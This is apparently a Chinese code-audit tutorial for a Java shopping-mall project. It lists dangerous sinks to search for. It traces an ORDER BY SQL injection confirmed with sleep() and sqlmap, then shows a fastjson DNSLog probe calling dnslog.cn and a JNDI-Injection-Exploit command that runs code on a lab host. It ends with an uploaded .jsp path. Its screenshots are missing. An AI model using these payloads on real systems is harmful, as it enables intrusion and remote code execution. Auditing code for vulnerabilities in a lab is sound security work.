<span class="code-snippet_outer" style="margin: 0px; padding: 0px; outline: 0px; max-width: 1000%; --darkreader-inline-outline: initial; box-sizing: border-box !important; overflow-wrap: break-word !important;" data-darkreader-inline-outline="">@<span class="code-snippet__keyword" style="margin: 0px; padding: 0px; outline: 0px; max-width: 1000%; color: #cf8a4b; --darkreader-inline-outline: initial; --darkreader-inline-color: #d39359; box-sizing: border-box !important; overflow-wrap: break-word !important;" data-darkreader-inline-outline="" data-darkreader-inline-color="">query</span>(<span class="code-snippet__keyword" style="margin: 0px; padding: 0px; outline: 0px; max-width: 1000%; color: #cf8a4b; --darkreader-inline-outline: initial; --darkreader-inline-color: #d39359; box-sizing: border-box !important; overflow-wrap: break-word !important;" data-darkreader-inline-outline="" data-darkreader-inline-color="">selectid</span> from user where name = ?);</span>
<span class="code-snippet_outer" style="margin: 0px; padding: 0px; outline: 0px; max-width: 1000%; --darkreader-inline-outline: initial; box-sizing: border-box !important; overflow-wrap: break-word !important;" data-darkreader-inline-outline=""><span class="code-snippet__variable" style="margin: 0px; padding: 0px; outline: 0px; max-width: 1000%; color: #2fb0f2; --darkreader-inline-outline: initial; --darkreader-inline-color: #3db5f3; box-sizing: border-box !important; overflow-wrap: break-word !important;" data-darkreader-inline-outline="" data-darkreader-inline-color="">${}</span></span>
<span class="code-snippet_outer" style="margin: 0px; padding: 0px; outline: 0px; max-width: 1000%; --darkreader-inline-outline: initial; box-sizing: border-box !important; overflow-wrap: break-word !important;" data-darkreader-inline-outline="">select</span>
<span class="code-snippet_outer" style="margin: 0px; padding: 0px; outline: 0px; max-width: 1000%; --darkreader-inline-outline: initial; box-sizing: border-box !important; overflow-wrap: break-word !important;" data-darkreader-inline-outline="">insert</span>
<span class="code-snippet_outer" style="margin: 0px; padding: 0px; outline: 0px; max-width: 1000%; --darkreader-inline-outline: initial; box-sizing: border-box !important; overflow-wrap: break-word !important;" data-darkreader-inline-outline="">update</span>
<span class="code-snippet_outer" style="margin: 0px; padding: 0px; outline: 0px; max-width: 1000%; --darkreader-inline-outline: initial; box-sizing: border-box !important; overflow-wrap: break-word !important;" data-darkreader-inline-outline=""><span class="code-snippet__keyword" style="margin: 0px; padding: 0px; outline: 0px; max-width: 1000%; color: #cf8a4b; --darkreader-inline-outline: initial; --darkreader-inline-color: #d39359; box-sizing: border-box !important; overflow-wrap: break-word !important;" data-darkreader-inline-outline="" data-darkreader-inline-color="">in</span></span>
<span class="code-snippet_outer" style="margin: 0px; padding: 0px; outline: 0px; max-width: 1000%; --darkreader-inline-outline: initial; box-sizing: border-box !important; overflow-wrap: break-word !important;" data-darkreader-inline-outline="">like</span>
<span class="code-snippet_outer" style="margin: 0px; padding: 0px; outline: 0px; max-width: 1000%; --darkreader-inline-outline: initial; box-sizing: border-box !important; overflow-wrap: break-word !important;" data-darkreader-inline-outline="">obderby</span>
<span class="code-snippet_outer" style="margin: 0px; padding: 0px; outline: 0px; max-width: 1000%; --darkreader-inline-outline: initial; box-sizing: border-box !important; overflow-wrap: break-word !important;" data-darkreader-inline-outline="">statement</span>
<span class="code-snippet_outer" style="margin: 0px; padding: 0px; outline: 0px; max-width: 1000%; --darkreader-inline-outline: initial; box-sizing: border-box !important; overflow-wrap: break-word !important;" data-darkreader-inline-outline=""><span class="code-snippet__selector-tag" style="margin: 0px; padding: 0px; outline: 0px; max-width: 1000%; color: #cf8a4b; --darkreader-inline-outline: initial; --darkreader-inline-color: #d39359; box-sizing: border-box !important; overflow-wrap: break-word !important;" data-darkreader-inline-outline="" data-darkreader-inline-color="">org</span><span class="code-snippet__selector-class" style="margin: 0px; padding: 0px; outline: 0px; max-width: 1000%; --darkreader-inline-outline: initial; box-sizing: border-box !important; overflow-wrap: break-word !important;" data-darkreader-inline-outline="">.apache</span><span class="code-snippet__selector-class" style="margin: 0px; padding: 0px; outline: 0px; max-width: 1000%; --darkreader-inline-outline: initial; box-sizing: border-box !important; overflow-wrap: break-word !important;" data-darkreader-inline-outline="">.comons</span><span class="code-snippet__selector-class" style="margin: 0px; padding: 0px; outline: 0px; max-width: 1000%; --darkreader-inline-outline: initial; box-sizing: border-box !important; overflow-wrap: break-word !important;" data-darkreader-inline-outline="">.fileupload</span></span>
<span class="code-snippet_outer" style="margin: 0px; padding: 0px; outline: 0px; max-width: 1000%; --darkreader-inline-outline: initial; box-sizing: border-box !important; overflow-wrap: break-word !important;" data-darkreader-inline-outline=""><span class="code-snippet__selector-tag" style="margin: 0px; padding: 0px; outline: 0px; max-width: 1000%; color: #cf8a4b; --darkreader-inline-outline: initial; --darkreader-inline-color: #d39359; box-sizing: border-box !important; overflow-wrap: break-word !important;" data-darkreader-inline-outline="" data-darkreader-inline-color="">file</span></span>
<span class="code-snippet_outer" style="margin: 0px; padding: 0px; outline: 0px; max-width: 1000%; --darkreader-inline-outline: initial; box-sizing: border-box !important; overflow-wrap: break-word !important;" data-darkreader-inline-outline=""><span class="code-snippet__selector-tag" style="margin: 0px; padding: 0px; outline: 0px; max-width: 1000%; color: #cf8a4b; --darkreader-inline-outline: initial; --darkreader-inline-color: #d39359; box-sizing: border-box !important; overflow-wrap: break-word !important;" data-darkreader-inline-outline="" data-darkreader-inline-color="">xxxstream</span></span>
<span class="code-snippet_outer" style="margin: 0px; padding: 0px; outline: 0px; max-width: 1000%; --darkreader-inline-outline: initial; box-sizing: border-box !important; overflow-wrap: break-word !important;" data-darkreader-inline-outline=""><span class="code-snippet__selector-tag" style="margin: 0px; padding: 0px; outline: 0px; max-width: 1000%; color: #cf8a4b; --darkreader-inline-outline: initial; --darkreader-inline-color: #d39359; box-sizing: border-box !important; overflow-wrap: break-word !important;" data-darkreader-inline-outline="" data-darkreader-inline-color="">RequestMethod</span></span>
<span class="code-snippet_outer" style="margin: 0px; padding: 0px; outline: 0px; max-width: 1000%; --darkreader-inline-outline: initial; box-sizing: border-box !important; overflow-wrap: break-word !important;" data-darkreader-inline-outline=""><span class="code-snippet__selector-tag" style="margin: 0px; padding: 0px; outline: 0px; max-width: 1000%; color: #cf8a4b; --darkreader-inline-outline: initial; --darkreader-inline-color: #d39359; box-sizing: border-box !important; overflow-wrap: break-word !important;" data-darkreader-inline-outline="" data-darkreader-inline-color="">MultipartHttpServletRequest</span></span>
xss
<span class="code-snippet_outer" style="margin: 0px; padding: 0px; outline: 0px; max-width: 1000%; --darkreader-inline-outline: initial; box-sizing: border-box !important; overflow-wrap: break-word !important;" data-darkreader-inline-outline=""><span class="code-snippet__attribute" style="margin: 0px; padding: 0px; outline: 0px; max-width: 1000%; color: #2fb0f2; --darkreader-inline-outline: initial; --darkreader-inline-color: #3db5f3; box-sizing: border-box !important; overflow-wrap: break-word !important;" data-darkreader-inline-outline="" data-darkreader-inline-color="">getParamter</span></span>
<span class="code-snippet_outer" style="margin: 0px; padding: 0px; outline: 0px; max-width: 1000%; --darkreader-inline-outline: initial; box-sizing: border-box !important; overflow-wrap: break-word !important;" data-darkreader-inline-outline=""><%=</span>
<span class="code-snippet_outer" style="margin: 0px; padding: 0px; outline: 0px; max-width: 1000%; --darkreader-inline-outline: initial; box-sizing: border-box !important; overflow-wrap: break-word !important;" data-darkreader-inline-outline="">param</span>
<span class="code-snippet_outer" style="margin: 0px; padding: 0px; outline: 0px; max-width: 1000%; --darkreader-inline-outline: initial; box-sizing: border-box !important; overflow-wrap: break-word !important;" data-darkreader-inline-outline="">el表达式</span>
目录遍历
<span class="code-snippet_outer" style="margin: 0px; padding: 0px; outline: 0px; max-width: 1000%; --darkreader-inline-outline: initial; box-sizing: border-box !important; overflow-wrap: break-word !important;" data-darkreader-inline-outline=""><span class="code-snippet__selector-tag" style="margin: 0px; padding: 0px; outline: 0px; max-width: 1000%; color: #cf8a4b; --darkreader-inline-outline: initial; --darkreader-inline-color: #d39359; box-sizing: border-box !important; overflow-wrap: break-word !important;" data-darkreader-inline-outline="" data-darkreader-inline-color="">path</span></span>
<span class="code-snippet_outer" style="margin: 0px; padding: 0px; outline: 0px; max-width: 1000%; --darkreader-inline-outline: initial; box-sizing: border-box !important; overflow-wrap: break-word !important;" data-darkreader-inline-outline=""><span class="code-snippet__selector-tag" style="margin: 0px; padding: 0px; outline: 0px; max-width: 1000%; color: #cf8a4b; --darkreader-inline-outline: initial; --darkreader-inline-color: #d39359; box-sizing: border-box !important; overflow-wrap: break-word !important;" data-darkreader-inline-outline="" data-darkreader-inline-color="">System</span><span class="code-snippet__selector-class" style="margin: 0px; padding: 0px; outline: 0px; max-width: 1000%; --darkreader-inline-outline: initial; box-sizing: border-box !important; overflow-wrap: break-word !important;" data-darkreader-inline-outline="">.GetProperty</span>("<span class="code-snippet__selector-tag" style="margin: 0px; padding: 0px; outline: 0px; max-width: 1000%; color: #cf8a4b; --darkreader-inline-outline: initial; --darkreader-inline-color: #d39359; box-sizing: border-box !important; overflow-wrap: break-word !important;" data-darkreader-inline-outline="" data-darkreader-inline-color="">yser</span><span class="code-snippet__selector-class" style="margin: 0px; padding: 0px; outline: 0px; max-width: 1000%; --darkreader-inline-outline: initial; box-sizing: border-box !important; overflow-wrap: break-word !important;" data-darkreader-inline-outline="">.dir</span>")</span>
<span class="code-snippet_outer" style="margin: 0px; padding: 0px; outline: 0px; max-width: 1000%; --darkreader-inline-outline: initial; box-sizing: border-box !important; overflow-wrap: break-word !important;" data-darkreader-inline-outline=""><span class="code-snippet__selector-tag" style="margin: 0px; padding: 0px; outline: 0px; max-width: 1000%; color: #cf8a4b; --darkreader-inline-outline: initial; --darkreader-inline-color: #d39359; box-sizing: border-box !important; overflow-wrap: break-word !important;" data-darkreader-inline-outline="" data-darkreader-inline-color="">fileInputStream</span></span>
<span class="code-snippet_outer" style="margin: 0px; padding: 0px; outline: 0px; max-width: 1000%; --darkreader-inline-outline: initial; box-sizing: border-box !important; overflow-wrap: break-word !important;" data-darkreader-inline-outline=""><span class="code-snippet__selector-tag" style="margin: 0px; padding: 0px; outline: 0px; max-width: 1000%; color: #cf8a4b; --darkreader-inline-outline: initial; --darkreader-inline-color: #d39359; box-sizing: border-box !important; overflow-wrap: break-word !important;" data-darkreader-inline-outline="" data-darkreader-inline-color="">file</span><span class="code-snippet__selector-class" style="margin: 0px; padding: 0px; outline: 0px; max-width: 1000%; --darkreader-inline-outline: initial; box-sizing: border-box !important; overflow-wrap: break-word !important;" data-darkreader-inline-outline="">.read</span></span>
<span class="code-snippet_outer" style="margin: 0px; padding: 0px; outline: 0px; max-width: 1000%; --darkreader-inline-outline: initial; box-sizing: border-box !important; overflow-wrap: break-word !important;" data-darkreader-inline-outline=""><span class="code-snippet__selector-tag" style="margin: 0px; padding: 0px; outline: 0px; max-width: 1000%; color: #cf8a4b; --darkreader-inline-outline: initial; --darkreader-inline-color: #d39359; box-sizing: border-box !important; overflow-wrap: break-word !important;" data-darkreader-inline-outline="" data-darkreader-inline-color="">filePath</span></span>
xml注入类似xxe
<span class="code-snippet_outer" style="margin: 0px; padding: 0px; outline: 0px; max-width: 1000%; --darkreader-inline-outline: initial; box-sizing: border-box !important; overflow-wrap: break-word !important;" data-darkreader-inline-outline=""><span class="code-snippet__attr" style="margin: 0px; padding: 0px; outline: 0px; max-width: 1000%; --darkreader-inline-outline: initial; box-sizing: border-box !important; overflow-wrap: break-word !important;" data-darkreader-inline-outline="">DocumentBuilder</span></span>
<span class="code-snippet_outer" style="margin: 0px; padding: 0px; outline: 0px; max-width: 1000%; --darkreader-inline-outline: initial; box-sizing: border-box !important; overflow-wrap: break-word !important;" data-darkreader-inline-outline=""><span class="code-snippet__attr" style="margin: 0px; padding: 0px; outline: 0px; max-width: 1000%; --darkreader-inline-outline: initial; box-sizing: border-box !important; overflow-wrap: break-word !important;" data-darkreader-inline-outline="">XMLStreamReader</span></span>
<span class="code-snippet_outer" style="margin: 0px; padding: 0px; outline: 0px; max-width: 1000%; --darkreader-inline-outline: initial; box-sizing: border-box !important; overflow-wrap: break-word !important;" data-darkreader-inline-outline=""><span class="code-snippet__attr" style="margin: 0px; padding: 0px; outline: 0px; max-width: 1000%; --darkreader-inline-outline: initial; box-sizing: border-box !important; overflow-wrap: break-word !important;" data-darkreader-inline-outline="">SAXBuilder</span></span>
<span class="code-snippet_outer" style="margin: 0px; padding: 0px; outline: 0px; max-width: 1000%; --darkreader-inline-outline: initial; box-sizing: border-box !important; overflow-wrap: break-word !important;" data-darkreader-inline-outline=""><span class="code-snippet__attr" style="margin: 0px; padding: 0px; outline: 0px; max-width: 1000%; --darkreader-inline-outline: initial; box-sizing: border-box !important; overflow-wrap: break-word !important;" data-darkreader-inline-outline="">SAXParserSAXReader</span> </span>
<span class="code-snippet_outer" style="margin: 0px; padding: 0px; outline: 0px; max-width: 1000%; --darkreader-inline-outline: initial; box-sizing: border-box !important; overflow-wrap: break-word !important;" data-darkreader-inline-outline=""><span class="code-snippet__attr" style="margin: 0px; padding: 0px; outline: 0px; max-width: 1000%; --darkreader-inline-outline: initial; box-sizing: border-box !important; overflow-wrap: break-word !important;" data-darkreader-inline-outline="">XMLReader</span></span>
<span class="code-snippet_outer" style="margin: 0px; padding: 0px; outline: 0px; max-width: 1000%; --darkreader-inline-outline: initial; box-sizing: border-box !important; overflow-wrap: break-word !important;" data-darkreader-inline-outline=""><span class="code-snippet__attr" style="margin: 0px; padding: 0px; outline: 0px; max-width: 1000%; --darkreader-inline-outline: initial; box-sizing: border-box !important; overflow-wrap: break-word !important;" data-darkreader-inline-outline="">SAXSource</span></span>
<span class="code-snippet_outer" style="margin: 0px; padding: 0px; outline: 0px; max-width: 1000%; --darkreader-inline-outline: initial; box-sizing: border-box !important; overflow-wrap: break-word !important;" data-darkreader-inline-outline=""><span class="code-snippet__attr" style="margin: 0px; padding: 0px; outline: 0px; max-width: 1000%; --darkreader-inline-outline: initial; box-sizing: border-box !important; overflow-wrap: break-word !important;" data-darkreader-inline-outline="">TransformerFactory</span></span>
<span class="code-snippet_outer" style="margin: 0px; padding: 0px; outline: 0px; max-width: 1000%; --darkreader-inline-outline: initial; box-sizing: border-box !important; overflow-wrap: break-word !important;" data-darkreader-inline-outline=""><span class="code-snippet__attr" style="margin: 0px; padding: 0px; outline: 0px; max-width: 1000%; --darkreader-inline-outline: initial; box-sizing: border-box !important; overflow-wrap: break-word !important;" data-darkreader-inline-outline="">SAXTransformerFactory</span></span>
<span class="code-snippet_outer" style="margin: 0px; padding: 0px; outline: 0px; max-width: 1000%; --darkreader-inline-outline: initial; box-sizing: border-box !important; overflow-wrap: break-word !important;" data-darkreader-inline-outline=""><span class="code-snippet__attr" style="margin: 0px; padding: 0px; outline: 0px; max-width: 1000%; --darkreader-inline-outline: initial; box-sizing: border-box !important; overflow-wrap: break-word !important;" data-darkreader-inline-outline="">SchemaFactory</span></span>
命令执行
<span class="code-snippet_outer" style="margin: 0px; padding: 0px; outline: 0px; max-width: 1000%; --darkreader-inline-outline: initial; box-sizing: border-box !important; overflow-wrap: break-word !important;" data-darkreader-inline-outline="">ProcessBuilder</span>
<span class="code-snippet_outer" style="margin: 0px; padding: 0px; outline: 0px; max-width: 1000%; --darkreader-inline-outline: initial; box-sizing: border-box !important; overflow-wrap: break-word !important;" data-darkreader-inline-outline="">start</span>
<span class="code-snippet_outer" style="margin: 0px; padding: 0px; outline: 0px; max-width: 1000%; --darkreader-inline-outline: initial; box-sizing: border-box !important; overflow-wrap: break-word !important;" data-darkreader-inline-outline="">Runtime</span>
<span class="code-snippet_outer" style="margin: 0px; padding: 0px; outline: 0px; max-width: 1000%; --darkreader-inline-outline: initial; box-sizing: border-box !important; overflow-wrap: break-word !important;" data-darkreader-inline-outline="">getRuntime</span>
<span class="code-snippet_outer" style="margin: 0px; padding: 0px; outline: 0px; max-width: 1000%; --darkreader-inline-outline: initial; box-sizing: border-box !important; overflow-wrap: break-word !important;" data-darkreader-inline-outline=""><span class="code-snippet__built_in" style="margin: 0px; padding: 0px; outline: 0px; max-width: 1000%; color: #cf8a4b; --darkreader-inline-outline: initial; --darkreader-inline-color: #d39359; box-sizing: border-box !important; overflow-wrap: break-word !important;" data-darkreader-inline-outline="" data-darkreader-inline-color="">exec</span></span>
序列化
<span class="code-snippet_outer" style="margin: 0px; padding: 0px; outline: 0px; max-width: 1000%; --darkreader-inline-outline: initial; box-sizing: border-box !important; overflow-wrap: break-word !important;" data-darkreader-inline-outline=""><span class="code-snippet__selector-tag" style="margin: 0px; padding: 0px; outline: 0px; max-width: 1000%; color: #cf8a4b; --darkreader-inline-outline: initial; --darkreader-inline-color: #d39359; box-sizing: border-box !important; overflow-wrap: break-word !important;" data-darkreader-inline-outline="" data-darkreader-inline-color="">readObject</span></span>
<span class="code-snippet_outer" style="margin: 0px; padding: 0px; outline: 0px; max-width: 1000%; --darkreader-inline-outline: initial; box-sizing: border-box !important; overflow-wrap: break-word !important;" data-darkreader-inline-outline=""><span class="code-snippet__selector-tag" style="margin: 0px; padding: 0px; outline: 0px; max-width: 1000%; color: #cf8a4b; --darkreader-inline-outline: initial; --darkreader-inline-color: #d39359; box-sizing: border-box !important; overflow-wrap: break-word !important;" data-darkreader-inline-outline="" data-darkreader-inline-color="">readUnshared</span></span>
<span class="code-snippet_outer" style="margin: 0px; padding: 0px; outline: 0px; max-width: 1000%; --darkreader-inline-outline: initial; box-sizing: border-box !important; overflow-wrap: break-word !important;" data-darkreader-inline-outline=""><span class="code-snippet__selector-tag" style="margin: 0px; padding: 0px; outline: 0px; max-width: 1000%; color: #cf8a4b; --darkreader-inline-outline: initial; --darkreader-inline-color: #d39359; box-sizing: border-box !important; overflow-wrap: break-word !important;" data-darkreader-inline-outline="" data-darkreader-inline-color="">XMLDecoder</span><span class="code-snippet__selector-class" style="margin: 0px; padding: 0px; outline: 0px; max-width: 1000%; --darkreader-inline-outline: initial; box-sizing: border-box !important; overflow-wrap: break-word !important;" data-darkreader-inline-outline="">.readObject</span></span>
<span class="code-snippet_outer" style="margin: 0px; padding: 0px; outline: 0px; max-width: 1000%; --darkreader-inline-outline: initial; box-sizing: border-box !important; overflow-wrap: break-word !important;" data-darkreader-inline-outline=""><span class="code-snippet__selector-tag" style="margin: 0px; padding: 0px; outline: 0px; max-width: 1000%; color: #cf8a4b; --darkreader-inline-outline: initial; --darkreader-inline-color: #d39359; box-sizing: border-box !important; overflow-wrap: break-word !important;" data-darkreader-inline-outline="" data-darkreader-inline-color="">Yaml</span><span class="code-snippet__selector-class" style="margin: 0px; padding: 0px; outline: 0px; max-width: 1000%; --darkreader-inline-outline: initial; box-sizing: border-box !important; overflow-wrap: break-word !important;" data-darkreader-inline-outline="">.load</span></span>
<span class="code-snippet_outer" style="margin: 0px; padding: 0px; outline: 0px; max-width: 1000%; --darkreader-inline-outline: initial; box-sizing: border-box !important; overflow-wrap: break-word !important;" data-darkreader-inline-outline=""><span class="code-snippet__selector-tag" style="margin: 0px; padding: 0px; outline: 0px; max-width: 1000%; color: #cf8a4b; --darkreader-inline-outline: initial; --darkreader-inline-color: #d39359; box-sizing: border-box !important; overflow-wrap: break-word !important;" data-darkreader-inline-outline="" data-darkreader-inline-color="">XStream</span><span class="code-snippet__selector-class" style="margin: 0px; padding: 0px; outline: 0px; max-width: 1000%; --darkreader-inline-outline: initial; box-sizing: border-box !important; overflow-wrap: break-word !important;" data-darkreader-inline-outline="">.fromXML</span></span>
<span class="code-snippet_outer" style="margin: 0px; padding: 0px; outline: 0px; max-width: 1000%; --darkreader-inline-outline: initial; box-sizing: border-box !important; overflow-wrap: break-word !important;" data-darkreader-inline-outline=""><span class="code-snippet__selector-tag" style="margin: 0px; padding: 0px; outline: 0px; max-width: 1000%; color: #cf8a4b; --darkreader-inline-outline: initial; --darkreader-inline-color: #d39359; box-sizing: border-box !important; overflow-wrap: break-word !important;" data-darkreader-inline-outline="" data-darkreader-inline-color="">ObjectMapper</span><span class="code-snippet__selector-class" style="margin: 0px; padding: 0px; outline: 0px; max-width: 1000%; --darkreader-inline-outline: initial; box-sizing: border-box !important; overflow-wrap: break-word !important;" data-darkreader-inline-outline="">.readValue</span></span>
<span class="code-snippet_outer" style="margin: 0px; padding: 0px; outline: 0px; max-width: 1000%; --darkreader-inline-outline: initial; box-sizing: border-box !important; overflow-wrap: break-word !important;" data-darkreader-inline-outline=""><span class="code-snippet__selector-tag" style="margin: 0px; padding: 0px; outline: 0px; max-width: 1000%; color: #cf8a4b; --darkreader-inline-outline: initial; --darkreader-inline-color: #d39359; box-sizing: border-box !important; overflow-wrap: break-word !important;" data-darkreader-inline-outline="" data-darkreader-inline-color="">JSON</span><span class="code-snippet__selector-class" style="margin: 0px; padding: 0px; outline: 0px; max-width: 1000%; --darkreader-inline-outline: initial; box-sizing: border-box !important; overflow-wrap: break-word !important;" data-darkreader-inline-outline="">.parseObject</span></span>
任意文件删除
<span class="code-snippet_outer" style="margin: 0px; padding: 0px; outline: 0px; max-width: 1000%; --darkreader-inline-outline: initial; box-sizing: border-box !important; overflow-wrap: break-word !important;" data-darkreader-inline-outline=""><span class="code-snippet__keyword" style="margin: 0px; padding: 0px; outline: 0px; max-width: 1000%; color: #cf8a4b; --darkreader-inline-outline: initial; --darkreader-inline-color: #d39359; box-sizing: border-box !important; overflow-wrap: break-word !important;" data-darkreader-inline-outline="" data-darkreader-inline-color="">delete</span></span>
环境搭建
找到配置文件更改端口,数据库信息等,找到sqls文件夹,创建数据库导入数据即可:
等pom.xml页面没有爆红,并且自己显示了绿色按钮就可以开启环境了:
启动项目:
SQL注入P1
总共发现了五个,选择第一个开始审计:
参数点在88行,向上寻找调用语句:
上面图片中,88为变量所在行数,向上寻找select参数,发现是在55行,点击箭头,即可跳转到对应的接口类。
继续寻找,点击方法:
先在漏洞点打上断点,标记下:
然后找方法:
RequestMapping 是映射的路径,浏览器访问试试:
找到对应的页面:
注意这些字段,orderby是通过web传参,isdesc默认是true:
然后orderutil默认null,判断orderby是否为空,不为空则执行打印,然后吧数据带入到orderutil,再然后带入断点的地方:
查看此方法,没有做过滤:
Web抓包进行测试,默认是空的,加上sleep(4),延迟有点高:
sqlmap验证:
可以发现 和刚才的一样:
又回到了刚才的代码:
<span class="code-snippet_outer" style="margin: 0px; padding: 0px; outline: 0px; max-width: 1000%; --darkreader-inline-outline: initial; box-sizing: border-box !important; overflow-wrap: break-word !important;" data-darkreader-inline-outline="">{<span class="code-snippet__string" style="margin: 0px; padding: 0px; outline: 0px; max-width: 1000%; color: #ef3564; --darkreader-inline-outline: initial; --darkreader-inline-color: #f0426e; box-sizing: border-box !important; overflow-wrap: break-word !important;" data-darkreader-inline-outline="" data-darkreader-inline-color="">"@type"</span>:<span class="code-snippet__string" style="margin: 0px; padding: 0px; outline: 0px; max-width: 1000%; color: #ef3564; --darkreader-inline-outline: initial; --darkreader-inline-color: #f0426e; box-sizing: border-box !important; overflow-wrap: break-word !important;" data-darkreader-inline-outline="" data-darkreader-inline-color="">"java.net.Inet4Address"</span>,<span class="code-snippet__string" style="margin: 0px; padding: 0px; outline: 0px; max-width: 1000%; color: #ef3564; --darkreader-inline-outline: initial; --darkreader-inline-color: #f0426e; box-sizing: border-box !important; overflow-wrap: break-word !important;" data-darkreader-inline-outline="" data-darkreader-inline-color="">"val"</span>:<span class="code-snippet__string" style="margin: 0px; padding: 0px; outline: 0px; max-width: 1000%; color: #ef3564; --darkreader-inline-outline: initial; --darkreader-inline-color: #f0426e; box-sizing: border-box !important; overflow-wrap: break-word !important;" data-darkreader-inline-outline="" data-darkreader-inline-color="">"bb1e2x.dnslog.cn"</span>}</span>
<span class="code-snippet_outer" style="margin: 0px; padding: 0px; outline: 0px; max-width: 1000%; --darkreader-inline-outline: initial; box-sizing: border-box !important; overflow-wrap: break-word !important;" data-darkreader-inline-outline="">url编码</span>
<span class="code-snippet_outer" style="margin: 0px; padding: 0px; outline: 0px; max-width: 1000%; --darkreader-inline-outline: initial; box-sizing: border-box !important; overflow-wrap: break-word !important;" data-darkreader-inline-outline="">%7B%22%40%74%79%70%65%22%3A%22%6A%61%76%61%2E%6E%65%74%2E%49%6E%65%74%34%41%64%64%72%65%73%73%22%2C%22%76%61%6C%22%3A%22%62%62%31%65%32%78%2E%64%6E%73%6C%6F%67%2E%63%6E%22%7D</span>
获取的是个整数不是字符串,这个就不能被控制。接着找。找了一圈,终于找到有字符串的了:
来到上传头像的地方,抓包:
<span class="code-snippet_outer" style="margin: 0px; padding: 0px; outline: 0px; max-width: 1000%; --darkreader-inline-outline: initial; box-sizing: border-box !important; overflow-wrap: break-word !important;" data-darkreader-inline-outline=""><span class="code-snippet__attribute" style="margin: 0px; padding: 0px; outline: 0px; max-width: 1000%; color: #2fb0f2; font-weight: 400; --darkreader-inline-outline: initial; --darkreader-inline-color: #3db5f3; box-sizing: border-box !important; overflow-wrap: break-word !important;" data-darkreader-inline-outline="" data-darkreader-inline-color="">java</span>-jar JNDI-Injection-Exploit-1.0-SNAPSHOT-<span class="code-snippet__literal" style="margin: 0px; padding: 0px; outline: 0px; max-width: 1000%; color: #2fb0f2; --darkreader-inline-outline: initial; --darkreader-inline-color: #3db5f3; box-sizing: border-box !important; overflow-wrap: break-word !important;" data-darkreader-inline-outline="" data-darkreader-inline-color="">all</span>.jar -C <span class="code-snippet__string" style="margin: 0px; padding: 0px; outline: 0px; max-width: 1000%; color: #ef3564; --darkreader-inline-outline: initial; --darkreader-inline-color: #f0426e; box-sizing: border-box !important; overflow-wrap: break-word !important;" data-darkreader-inline-outline="" data-darkreader-inline-color="">"open/System/Applications/Calculator.app"</span> -A <span class="code-snippet__string" style="margin: 0px; padding: 0px; outline: 0px; max-width: 1000%; color: #ef3564; --darkreader-inline-outline: initial; --darkreader-inline-color: #f0426e; box-sizing: border-box !important; overflow-wrap: break-word !important;" data-darkreader-inline-outline="" data-darkreader-inline-color="">"172.16.183.129"</span></span>
<span class="code-snippet_outer" style="margin: 0px; padding: 0px; outline: 0px; max-width: 1000%; --darkreader-inline-outline: initial; box-sizing: border-box !important; overflow-wrap: break-word !important;" data-darkreader-inline-outline="">/tmall/res/images/item/userProfilePicture/e4b3a476-a492-446b-b033-e54f4b152c7c.jsp</span>
发表评论
您还未登录,请先登录。
登录